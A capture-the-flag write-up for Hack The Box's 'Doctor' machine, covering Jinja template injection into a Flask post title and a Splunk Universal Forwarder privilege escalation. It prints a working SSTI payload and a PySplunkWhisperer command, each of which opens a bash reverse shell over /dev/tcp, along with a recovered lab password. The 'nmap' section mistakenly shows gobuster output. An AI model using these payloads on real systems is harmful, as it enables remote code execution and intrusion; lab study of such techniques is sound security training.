Exploiting SSTI - Doctor @ Hack The Box
Doctor is a retired easy machine from Hack The Box that involves employing Server Side Template Injection in order to exploit a web application and establish a foothold on the box. From there, it is possible to exploit a vulnerability in the Splunk Universal Forwarder to gain root access. This machine is a good introduction to the concept of SSTI, and can be also be used to demonstrate some nuances of python namespaces.
Enumeration
The most common first step in the enumeration process is to run an nmap
scan. This gives us some basic information about which ports are open, what services are running, as well as some version information. The initial findings we get here dictate the next steps in the process. Below we can see the result of an nmap
scan ran against the Doctor machine.
# Result of: gobuster dir -u http://doctors.htb/ -w /usr/share/wordlists/dirb/common.txt -c "COOKIE GOES HERE"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://doctors.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] Cookies: .eJwlzsENwzAIAMBd_O4DsAGTZSIbsNpv0ryq7t5IXeB0n7KvI89n2d7HlY-yv6JsxW0Zx0Bqq6GG2VxkIBBkxIPbSHRNmMhjdpDsphCZ2qz3MVwxI4QaIVSq3Wfk5Eit6p4hBgq9J9dw4bghnig4wGVxIxKCckeuM4__hsr3B8q7L0A.YEA72w.mu_42b3Ibq31euJpDHdZCLyLG08
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
Starting gobuster
===============================================================
/account (Status: 302)
/archive (Status: 200)
/home (Status: 302)
/login (Status: 200)
/logout (Status: 302)
/register (Status: 200)
/server-status (Status: 403)
===============================================================
The result above tells us a few key bits of information. There are three ports running on the box: 22
, 80
, and 8089
. The first two are standard and are commonly seen open, SSH and HTTP respectively. The third port, 8089
, stands out from the norm. Nmap identifies it as Splunkd httpd
with a server header of Splunkd
. A bit of googling can quickly reveal that port is used by the Splunk Universal Forwarder, a piece of information that will come in handy later.
Since there Apache is running on port 80
, is likely there is a website being hosted on the box. Browsing to the IP address in the web browser presents us with a stylish, modern website.
Most of the links on this website go nowhere, and there doesn't appear to be any dynamic content. Scrolling down a bit on the front page, however, does yield a bit of interesting information.
We can see that a contact email is listed as info@doctors.htb
. This tells us that the hostname of the box is likely doctors.htb
. By navigating to doctors.htb
, it is possible we might be routed to a different VHost from the regular website. Virtual hosts allow web servers, like Apache, to route different domains and subdomains to different directories on the server. To make use of this, we simply add an entry for doctors.htb
in our /etc/hosts
file.
127.0.0.1 localhost
127.0.1.1 katana
10.10.10.209 doctors.htb
Navigating back to the website does in fact yield us a different page, This time, we see a login page for a portal called Doctor Secure Messaging. In the top right, we see a register button. We can easily create an account with any email, username, and password we want. We are warned that the account will expire in 20 minutes, which gives us a limited amount of time to complete our next task.
After logging in we see a largely empty portal with a few places for us to navigate. There is an Account page where we can update our username and email, as well as a New Post page. Here, we can post a new message for other doctors to see, with arbitrary content.
At this point, while we can see the new post we have created, as well as an original post made by the admin, but this doesn't give us any useful information. We can learn a bit more by using a browser extension called Wappalyzer. Wappalyzer is an easy way to quickly identify what frameworks and software are being run on a given webpage.
Under web frameworks, we can see that the website is running on Flask, a python webserver. We'll keep that information in mind as it will be useful shortly. From here, a basic enumeration of the webserver using gobuster
may reveal additional files or directories that haven't been shown to us.
# Result of: gobuster dir -u http://doctors.htb/ -w /usr/share/wordlists/dirb/common.txt -c "COOKIE GOES HERE"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://doctors.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] Cookies: .eJwlzsENwzAIAMBd_O4DsAGTZSIbsNpv0ryq7t5IXeB0n7KvI89n2d7HlY-yv6JsxW0Zx0Bqq6GG2VxkIBBkxIPbSHRNmMhjdpDsphCZ2qz3MVwxI4QaIVSq3Wfk5Eit6p4hBgq9J9dw4bghnig4wGVxIxKCckeuM4__hsr3B8q7L0A.YEA72w.mu_42b3Ibq31euJpDHdZCLyLG08
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
Starting gobuster
===============================================================
/account (Status: 302)
/archive (Status: 200)
/home (Status: 302)
/login (Status: 200)
/logout (Status: 302)
/register (Status: 200)
/server-status (Status: 403)
===============================================================
Server Side Template Injection in the Jinja Templating Engine
We can see by the result of the scan that there is in fact a page listed we haven't tried visiting, /archive
. If we head over to to the archive page, we initially see nothing but a blank page. However, if we view the source code, we see something a bit more interesting.
The archive page appears to be an RSS feed pulling posts from the Doctor Secure Messaging system. We can see that the content entered into the title of the post we made earlier is appearing here. Because we know we have the ability to insert arbitrary content onto this page, it suggests this might be exploitable through Server Side Template Injection. Because we know this is a Python server, we know it's using the Jinja Templating Engine. Using the syntax provided by the Jinja, we can then insert a properly formatted payload which will then be executed by the Python interpreter.
The problem is that in order to get code execution we will need to access the os
module. This normally would be fine, but Jinja doesn't allow importing modules. We can get around this by taking advantage of the fact that everything in Python is an object, and accessing the namespaces of certain subclasses within Python.
{% for i in ().__class__.__base__.__subclasses__() %}{% if "warnings" in i.__name__ %}{{i.__init__.__globals__['sys'].modules['os'].system('bash -c "bash -i >& /dev/tcp/<IP Address>/<Port> 0>&1"')}}{%endif%}{%endfor%}
The above is a payload that can be placed in the title field of a new post. It is able to access a subclass of object
in the warnings
module. Because warnings imports os
, we can use the os.system
function to call our reverse shell without explicitly importing it.
After submitting a post with that payload in the title, we can spawn a netcat
listener and visit /archive
to execute our code. This will get us our initial foothold on the box.
Getting Root w/ Splunk Universal Forwarder
We start out as a relatively unprivileged user called web, so we need to figure how to privesc to root. The simplest way to find what need quickly is to run linpeas.sh, a linux privilege esclation script. We can do this by spinning up Python HTTP server and then using wget to download it on to the box like so:
# On our local machine
python3 -m http.server
# On the Box
wget <OUR IP>:<OUR PORT>/linpeas.sh # Download linpeas
chmod +x linpeas.sh # Make it executable
./linpeas.sh # Run it
This script will output two very interesting things. The first is this odd entry in the /var/log/apache2/backup
log file:
POST /reset_password?email=Guitar123
Instead of putting in an email, it looks like someone accidentally entered in their password while trying to do a password reset request. Looking at the home directory, we see the only other user listed is shaun
. We can switch our user to shaun by using the password we just found with the command su shaun
.
The other interesting thing to be noticed in the linpeas output is many lines referencingg /opt/splunkforwarder
. A simple google search of Splunk Forwarder Exploit returns several articles about exploiting the Splunk Universal Forwarder, as well as a GitHub containing an promising exploit.
Using the python exploit found at the above GitHub, as well as the credentials for we have for shaun
, we can get RCE the box through the Universal Splunk Forwarder, which will give us root!
# Command for PySplunkWhisperer exploit on a remote box. Pair with a netcat listener.
python3 PysplunkWhisperer2_remote.py --host doctors.htb --username shaun --password Guitar123 --lhost <OUR IP> --payload "bash -c 'bash -i /dev/tcp/<OUR IP>/<PORT> 0>&1'"
That's it! We're done. If you'd prefer a video walkthrough with a bit more explanation on some of the topics involved, check out the following: